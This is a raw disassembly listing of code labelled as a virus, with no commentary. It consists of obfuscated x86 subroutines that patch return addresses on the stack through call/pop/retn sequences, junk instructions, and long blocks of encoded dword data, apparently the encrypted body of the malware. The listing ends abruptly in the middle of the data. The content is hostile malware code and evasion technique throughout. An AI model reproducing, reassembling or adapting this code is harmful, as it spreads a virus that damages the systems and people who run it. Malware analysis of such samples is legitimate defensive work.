[ebp+95D0B71h], edx push eax mov [esp], eax call sub_5A7D09 xchg eax, ecx rcl dword ptr [ebx], 9Ch sal edi, cl ; =============== S U B R O U T I N E ======================================= sub_5A7D09 proc near ; CODE XREF: Virus___:005A7CFEp mov si, 3D44h pop edi push 0 push 0 push ebx call sub_5A7D1B and [ebx-3Dh], bl sub_5A7D09 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A7D1B proc near ; CODE XREF: sub_5A7D09+Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5A7D1B endp ; --------------------------------------------------------------------------- aPvSeOfbqnnj db 'p¢´{éE',0Bh,'-<Žfïj',0 ; --------------------------------------------------------------------------- mov [ebp+95D2309h], edx lea eax, [ebp+960D2FAh] mov edi, 11597933h add eax, 5 push 0 push edx call sub_5A7D5B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7D5B proc near ; CODE XREF: Virus___:005A7D53p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5A7D5B endp ; --------------------------------------------------------------------------- db 0ECh dd 0DEC0D249h, 0E9900AACh, 7, 7462880Ch, 502DFF03h, 10E990h dd 726A0000h, 0A6C51888h, 52EEA4C5h, 0B22C2731h, 6A59F1h dd 14E9h, 0EFCDFE00h, 0EC022EDh, 4FAB25DDh, 0C05436B9h dd 23D22A40h, 6A006A89h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0B315C351h, 16F5B523h dd 95FF095Dh, 95D0851h, 8DFBBF0Fh, 60914C9Dh, 3DBD8909h dd 0FF095D33h, 259589D3h, 0FF095D29h, 5D216985h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0F2262692h, 0E9BD973Bh, 0Ah, 0E6C1BAF1h, 2D5BA420h dd 0FEE976CCh, 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 960D304h push 0 push ecx call sub_5A7E46 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7E46 proc near ; CODE XREF: Virus___:005A7E3Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5A7E46 endp ; --------------------------------------------------------------------------- dw 1C45h dd 79599F12h, 0E5BD81B0h, 0D0095D03h, 0F000007h, 18286h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 98AD656Ch, 9E8E2h, 4DE10000h, 735F9B77h dd 0E9F81767h, 7, 0B86D94D0h, 5F58686Eh, 14A59D8Bh, 6A095Dh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 8CEE36C3h, 0B4575B46h, 0BE62C19Eh, 4BE35902h, 0F79BD8Bh dd 0E381095Dh, 100h, 13E9h, 2D1E0600h, 0AD15C591h, 0AA49B4C8h dd 877672E0h, 98E4D674h, 23F5B58Bh, 0DB0B095Dh, 0A3850Fh dd 0B58B0000h, 95D163Dh, 0D19CBD83h, 0F000960h, 3284h dd 6E900h, 2B80000h, 0B89B42EAh, 0ADE9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0EB544F90h, 0C7C97265h, 60D19C85h, 109h, 94EF8100h dd 0E9007201h, 76h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 28C35545h, 7405F024h, 0F655B5Ch, 682h dd 0AD958900h, 0E8095D02h, 0Eh, 0BF8F72FBh, 49D03DA1h dd 0E690A55Eh, 9D894941h, 95D1635h, 9C85C75Fh, 960D1h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0FC41C350h, 0D916F994h, 9D8DCFACh dd 95D14A5h, 0BBD8589h, 2381095Dh, 0FFFFFEFFh, 66F1BF0Fh dd 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0E3BFB2C3h, 0E95F5DFFh, 12h, 8DBE34C8h, 0FA475B96h dd 739E56DFh, 0B22F5274h, 0C3F66EA2h, 0AB840F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 76FEC351h, 13E9519Bh, 0FB000000h, 0E2BE23F9h dd 0A6293429h, 0D0DE1CB1h, 3C77D8E0h, 0FF5FD538h, 5D2A9D95h dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0CF97CD96h, 6820F51h, 8B000000h, 5D12F5B5h dd 50905E09h, 58A0Fh, 81BE0000h, 901BC608h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0F7C35545h, 0E9E18A6Ch dd 0Eh, 0F4B7A842h, 0F1E34551h, 4F6A1698h, 4E9720Eh, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 6214C355h, 0D0B5E888h, 0B2B96660h, 21D7813Bh dd 61420FBAh, 1711BD23h, 0B0095Dh, 840Fh, 70E60000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 49C35646h, 0FFE5EFF5h dd 1A5B75Fh, 5D19E585h, 6A71E409h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F4B7C350h dd 0F1E34551h, 576A1698h, 0C17D85BFh, 81665E17h, 0FD266D7h dd 0BD23D8B6h, 95D02A5h, 6BAh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8D09C8D8h dd 95D305Dh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0B83723C3h, 0F75B533h, 9E9095Dh dd 3C000000h, 0B3EC8497h, 382373DBh, 0F804E8C1h, 8BE2F766h dd 5D11B5B5h, 0E9D82B09h, 12h, 4D00715Dh, 0CBBB17A0h, 328B05C1h dd 37F00658h, 8950207Fh, 9589241Ch, 95D0631h, 3E5B5FFh dd 6A095Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 5E88FC3h, 5E000000h, 2ED66EFEh, 9818D89h dd 0FF5F095Dh, 5D11B195h, 49B58B09h, 0B0095D10h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 445DFE3Fh, 0D0718D5Bh, 29BD29BDh, 8B095D0Fh, 5D0295BDh dd 6A70E609h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 8588C355h, 8B6684CDh, 6A71E4F7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0E778C351h, 830F613Ch, 21Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 42C35343h, 15F4DB56h dd 89BD8B46h, 0F095D27h, 6E9D8B6h, 0F2000000h, 9E04834Ch dd 6BA91h, 0B58B0000h, 95D1A5Dh, 3CD9589h, 0C38B095Dh dd 10498529h, 0E8C1095Dh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BDA98F5h dd 0E2F766F8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 42C35343h, 0F92C04F9h, 895378BEh, 5D15F185h, 0D82B5E09h dd 0F6816658h, 0D82BD82Dh, 16D880Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E0957FC3h dd 9EF83CB7h, 7B9B73Dh, 51000000h, 0C1835Fh, 6DDBD2Bh dd 0D93B095Dh, 131860Fh, 85890000h, 95D227Dh, 6AD98C66h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 213AC353h, 426043E0h, 2D9D8B60h, 60095D03h dd 2AB5BD8Bh, 0B58B095Dh, 95D17A1h, 0C1F66161h, 0E0840F04h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 6019C355h, 27299D31h, 0FF61095Dh dd 5D2A9D95h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 2AAB7A68h, 0F73342Bh, 28Ah, 5B5E5600h dd 12F59589h, 0C32B095Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 6C35040h, 0F43A087Dh, 0FF1756Ah, 0C81h dd 68C0F00h, 0F000000h, 8Eh, 0BE900h, 0ED5C0000h, 1A18D7C1h dd 0DF1BBD50h, 8343DC1h, 860F0000h, 33h, 2A19BD8Bh, 30E9095Dh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 14D5C355h, 30B0BA86h, 458D8964h dd 8B095D17h, 4DB58BC0h, 8B095D07h, 66D88BC3h, 75FE781h dd 153D85C7h, 8BF7095Dh, 9589520Dh, 95D315Dh, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 6A7943C3h, 0C8173718h, 664639BEh, 615CF781h, 1EB18501h dd 0BD81095Dh, 95D03E5h, 7D0h, 54850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 2FF190C3h, 26A1BD8Bh, 85FF095Dh, 95D03E5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E2C35242h, 0ED8EF2ABh dd 0ABD7DA8Bh, 13898509h, 0B5FF095Dh, 95D03E5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F1C35040h, 606A1698h dd 19DDB58Bh, 8166095Dh, 61C1C1E2h, 0DDBD8B51h, 5F095D30h dd 11B195FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 21A297C3h, 8CD15B78h, 6A90FCh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 44667BC3h, 0B98529EAh, 0F095D1Ah, 8B0FFABFh, 4, 1AD1BE66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E8C35242h dd 634D958Ah, 2978D84Bh, 5D23159Dh, 59B58B09h dd 23095D33h, 5D1811BDh, 7BBF6609h, 57006A29h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0EA43E2C8h dd 60D78166h, 35BD29E4h, 6A095D09h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 2DCFC353h dd 14E1B58Bh, 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 516132C3h, 99616A28h, 11E9FA3Ch dd 7000000h, 8D39F0Ch, 3AD078A0h, 0D7163F6Ch, 0C72EB997h dd 9C1C48BFh, 0CE918h, 827B0000h, 0CE7F25A9h, 0FC178BE8h dd 0BD8BBF12h, 95D0339h, 0FFF722E9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0E050A7CEh dd 0EBC18B58h, 4, 0FE900h, 64910000h, 0AE2369A3h, 4CE839B8h dd 0A1F4411h, 52006A63h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0CF66F496h, 24364978h, 69B58BB6h dd 8D095D29h, 5D223985h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 4560BCBEh, 1D398D29h dd 9589095Dh, 95D073Dh, 58E0F50h, 0BF000000h, 68DC303h dd 29240489h, 5D1471BDh, 6A006A09h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 46A3C350h dd 9F296F60h, 6A7716h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0FC35141h, 0F3858D81h, 6A0960DDh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0CBF4C357h, 83FFBF0Fh, 6A05C0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0FE2AAC3h, 8Bh, 66605000h dd 0E8719AB9h, 5, 0DA15E043h, 0F5250B1h, 5F585A31h, 24048961h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0CFC35343h dd 4AC9050Fh, 2FFA3785h, 0A705BF8Ah, 9D890A62h, 95D18DDh dd 0B70F006Ah, 21DF81F7h, 6A70FFBBh, 1BD8900h, 89095D26h dd 5D0611B5h, 5195FF09h, 8D095D08h, 60914C9Dh, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0B58BCF00h, 95D032Dh, 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 81664CC3h, 0FF0B6FC7h dd 5D216985h, 0AE809h, 0BB70000h, 0F5F7B037h, 757F4CDh dd 810F60h, 89000000h, 5D19A9BDh, 0E95F6109h, 9B5h, 0E8h dd 0ED815D00h, 960DDFDh, 815FF851h, 5D03E5BDh, 7D009h dd 0F3860F00h, 8B000001h, 5D095D9Dh, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 80E9FC24h dd 0BD0B52E4h, 95D2A3Dh, 0E3815Eh, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0D9E2C355h, 91E0A90h, 8B5AE68Bh, 0FDB0BF1h, 0FC85h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0B58BFBBCh, 95D276Dh, 14E8h, 1EE3BC00h dd 4C4AA6E0h, 0CF2037FBh, 1BC64F92h, 98945D4Eh, 0F78B5763h dd 0BD835F5Fh, 960DC01h, 76840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 7F9CC350h, 0A97349FFh, 459793F4h, 0D81EBF66h, 0B3BF6660h dd 77BA667Bh, 10E9611Bh, 3E000000h, 1C57533Bh, 5AF4EAC4h dd 706786CBh, 0E9B5D2BCh, 98h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 54C35747h, 0EE3AC4Dh, 0FE8B66BEh dd 0E28DA0BEh, 185C719h, 10960DCh, 66000000h, 0E9C799BFh dd 5Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 0B5C35040h, 89527617h, 5D2A3D85h, 185C709h, 960DCh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0B5C1C351h, 5BEF0B0Fh, 819EF48Eh dd 23858D89h, 5F50095Dh, 95D9D8Dh, 820F095Dh, 6, 0E35AD681h dd 11E878D7h, 7000000h, 0E38ED0CCh, 34164AF0h, 2285473Ch dd 0DF317A8h, 2ABE6656h, 815F5F5Dh, 0FFFEFF23h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0CEFA74BBh, 0CC3E52FDh, 0B733BF59h, 8C666BAAh, 4C3F6DBh dd 4E840Fh, 8B660000h, 9D95FFFBh, 6A095D2Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0E1E1C350h, 59D71B0h, 25BD8B5Fh, 90095D2Fh, 800Fh, 0E9500000h dd 0Fh, 9B5A6402h, 794527D0h, 97786D54h, 90B5A3D0h, 51CE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0B0B651E7h, 0EDBD8B00h, 0E6095D08h, 52006A70h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 41CCC676h, 64964CF7h, 95895C6Eh, 95D2635h, 6A71E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0F7E1BEC3h, 617654ECh, 0BE8h, 0F6580200h, 0D4284B13h dd 0FB5F931Ch, 16F3BE5Fh, 0B60F4124h, 52006AD8h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B8B392Dh, 5D2255B5h, 6BA09h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B76AFC3h dd 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 89BCDD8Fh, 0F9BD8BFBh, 0C1095D07h, 6A04E8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 84BE5FC3h, 6635CDB5h, 0D82BE2F7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 27C35141h, 939E9DC0h, 840F5650h dd 0 ; --------------------------------------------------------------------------- pop esi pop edi push eax mov edi, 76D4B47Eh xchg eax, ebx mov edi, [ebp+95D1CD1h] push dword ptr [ebp+95D03E5h] push 0 push ecx call sub_5A8D08 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8D08 proc near ; CODE XREF: Virus___:005A8D00p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5A8D08 endp ; --------------------------------------------------------------------------- test eax, 0D3ECA413h mov [ebp+95D29D1h], ecx call dword ptr [ebp+95D11B1h] push 0 push edi call sub_5A8D34 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8D34 proc near ; CODE XREF: Virus___:005A8D2Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5A8D34 endp ; --------------------------------------------------------------------------- mov edx, 506430B0h mov esi, [ebp+95D2C15h] mov al, 0 push 0 push eax call sub_5A8D5C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8D5C proc near ; CODE XREF: Virus___:005A8D54p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5A8D5C endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0F9h, 8Bh, 0BDh dd 95D19DDh, 0DE870E6h, 90000000h, 5501F5A3h, 0EE8DBEAh dd 248726B5h, 29858529h, 0E45E095Dh, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0FB8C79CDh dd 9F820977h, 14E8C9h, 675F0000h, 0E68C8EC3h, 5F41E4C5h dd 0D5A99299h, 7E9C5013h, 0BD894A4Eh, 95D0B05h, 0BDBD8B5Eh dd 3C095D08h, 0D2830F61h, 6A000002h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A38FC352h dd 0CAEB332Ah, 8B90852Dh, 5D0F51B5h, 0D8B60F09h, 282DBD33h dd 9D89095Dh, 95D1CF9h, 6BAh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 25AA1C3Dh dd 0A415E232h, 0CE9867Eh, 0B7000000h, 9838096Dh, 14DA3687h dd 8BC9E3DDh, 9B58BC3h, 0C1095D2Bh, 8F0F04E8h, 1, 0E2F766F5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A8C35141h dd 76821620h, 6AD82B17h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 5F09C351h, 0C59948D1h dd 0D78166ADh, 0BD0B531Fh, 95D2991h, 22218529h, 6A58095Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 9347C352h, 838EB0D8h, 2B79A4CEh, 0C6880FD8h dd 0E9000001h, 12h, 0AF79EE2Dh, 0B9301B00h, 258F58E1h dd 0B861705h, 7B945F4h, 8B000000h, 0C183F7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 74C35545h, 0E95C3904h dd 5, 0E3589527h, 0FD93B5Ah, 17486h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8E94E33h, 0E6000000h dd 0B6D62682h, 6691082Ah, 11E9D98Ch, 1A000000h, 0A74375CCh dd 85916D0Fh, 0FE7F950Ch, 53C9BC9Dh, 0F04C1F6h, 0FC84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 4AC1364Ch, 9D89390Dh, 95D2941h, 2A9D95FFh dd 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0BEDA80C3h, 0F9B589DBh, 0F8095D1Ch, 53006A5Bh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 98C45ADFh, 0E9D4CE73h, 14h, 34538A76h, 6630C2DBh, 0F96735B3h dd 24B3A777h, 84D0225Dh, 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0A56C88C3h, 8ABFFFB6h dd 3D4B9F20h, 834h, 3B860Fh, 8D890000h, 95D0301h, 5CE9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0C2B28F4Fh, 0C9EAD3E1h, 0E9816660h, 8E0F54E1h dd 0 dd 0FC08B61h, 2482h, 6E800h, 8BFD0000h, 18A43F4Ah, 13E9h dd 46EC4900h, 0AC939B3Bh, 0AB1250E9h, 3E0B60C2h, 46D1B54Bh dd 8BC38B5Fh, 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0F573D509h, 0DD858951h, 0C7095D14h dd 5D14A585h, 26451F09h, 52006A12h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 70582CB5h, 0E8C08BE7h dd 10h, 161D8B3Eh, 94D460E5h, 6EB782B1h, 0B742AE4Dh, 8D0Fh dd 815E0000h, 5D03E5BDh, 7D009h, 3A850F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0F18DC353h, 6B867782h, 26214889h, 0FFF6B70Fh dd 5D03E585h, 0F1BD3109h, 0F095D2Eh, 87h, 0E5B5FF00h, 0FF095D03h dd 5D11B195h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0B5D8FE40h, 0BBBFC940h, 0FFBF0FD3h dd 10E990h, 27CF0000h, 0EC42F5EAh, 74D173F1h, 66F78B08h dd 0B52B5A58h, 95D2B69h, 20F9B58Bh, 6A095Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 8A60FBC3h dd 1CE9D09Dh, 0BFBC3496h, 50BB0832h, 710120BEh, 0F0BF0F0Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 53C35040h dd 0FC76B90Fh, 91BD8BC3h, 60095D1Ah, 0B509CF8Ah, 95D11E9h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 5C2CB905h, 0F74F4913h, 0F681307Ah, 5A940EE3h dd 0B880Fh, 5DBF0000h, 891171D1h, 5D2FA99Dh, 17810F09h dd 0E9000000h, 12h, 4B5A745Bh, 6A048FB1h, 0A3159B65h, 6B673768h dd 0BE668098h, 8D01FD6Ch, 95D0C5Dh, 250D9529h, 6E9095Dh dd 0DE000000h, 2AFF0AF3h, 0F2B70FF7h, 14870Fh, 0AE90000h dd 0DE000000h, 0BBA5CB8Fh, 0B3539721h, 0F7816670h, 69E9C016h dd 6AFFFFF6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0AACC353h, 6AC18B12h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 5D4BC357h, 4D43BB4Fh, 899879B1h, 5D2B91B5h, 0A1BD8B09h dd 0EB095D29h, 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 2BC28CAAh, 90A234CCh dd 8BF18B66h, 5D1091B5h, 39858D09h, 8B095D22h, 5D2219BDh dd 0E8509009h, 0Ah, 0E83DA94Ah, 91AF7010h, 905EA8D7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 40C35343h, 8923D22Ah dd 28A0Fh, 0F88B0000h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0C0E7AFC3h, 45BBF781h dd 8B602951h, 5D2655BDh, 68B0F09h, 33000000h, 5D16CDBDh dd 6A6109h, 0C3B2D8BFh, 0B858D4Eh, 660960EAh, 0C083F18Bh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0B3F22E6Ah, 51CFB581h, 0C31BD8Bh, 0E850095Dh dd 0Eh, 42C90DDAh, 2C914278h, 0EA0A34F4h, 8B664A1Ah, 4895FF8h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8B66CD2Fh, 6A006AFAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0B56EC355h dd 28B1B58Bh, 0BD31095Dh, 95D07F9h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E387BBC3h dd 14E83Bh, 6CEC0000h, 87E6AE29h, 927A4964h, 0CC05380Ch dd 0F2183FCEh, 0BD89710Dh, 95D275Dh, 5195FF5Fh, 6A095D08h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0CB9DC350h, 0FA201C93h, 9FBECDE2h, 8D587844h dd 60914C9Dh, 0E5B58909h, 0FF095D02h, 55006AD3h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8BFFB531h, 5D073DBDh, 91958909h, 0FF095D33h, 5D216985h dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 814D932Ah, 22F98D89h, 9DBF095Dh, 0E931E8F1h dd 836h, 0E8h, 0ED815D00h, 960EA15h, 5F19BF66h, 3E5BD81h dd 7D0095Dh, 860F0000h, 170h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0A2C35545h, 3FECB0C6h, 9D8B2596h dd 95D0979h, 100E381h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0A4658DC3h, 0F76390Eh dd 882h, 0CE815600h, 2B05D457h, 0FDB0B5Eh, 0AC85h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0EF32E06Ah, 0BD83CCD8h, 960E7E1h, 28840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0CAC2C351h, 2EE1BD8Bh, 66E9095Dh, 0C7000000h dd 60E7E185h, 109h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0FC175BAh, 0F1963367h dd 32E9D675h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 8ACFC352h, 675849C2h dd 0E185C762h, 960E7h, 8B000000h, 5D2FA9B5h, 799D8D09h dd 6A095D09h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 5BDFC356h, 65D9D09h, 840F095Dh dd 0Bh, 5860Fh, 28BF0000h, 81194462h, 0FFFEFF23h, 8E8FFh dd 9C410000h, 0B32535B9h, 5FF9E5A2h, 81DB8C66h, 98365AD7h dd 4C3F627h, 87840Fh, 0F18B0000h, 14E9h, 5B254D00h, 641AC4CCh dd 791659B2h, 0B8117847h, 9B42EA02h, 9D95FFB8h, 0F095D2Ah dd 1886h, 13E900h, 74B10000h, 674B728h, 0CD17E2D4h, 7C3AC00Eh dd 275044F4h, 605090C5h, 8B665250h, 66310FD0h, 585AC18Bh dd 906112B1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 53C35040h, 0F07BFDC1h, 0FE912h, 0EA8D0000h, 0A05597A3h dd 3E91644Fh, 57E4A371h, 3B9E9F7h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 893D0AC3h dd 5D222DB5h, 0E800B009h, 13h, 0C959CFCDh, 0A86AE916h dd 9317482Fh, 7119BEA8h, 898C9684h, 5D29119Dh, 0B5315E09h dd 95D1111h, 0BF6670E6h, 71E4D6E8h, 68D0Fh, 0B58B0000h dd 95D2675h, 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 4B5CC355h, 0BADB92C3h dd 6, 1241CE81h, 0C38B161Ah, 0E8C1FA8Bh, 52006A04h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0A1B58BAAh, 0E8095D09h, 0Bh, 0B882B891h, 908A751Dh dd 89194A15h, 5D20219Dh, 0F7665E09h, 55006AE2h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0B9040A6h dd 0F8CE248Eh, 0FE9D82Bh, 0FB000000h, 6EF82C55h, 6133A8h dd 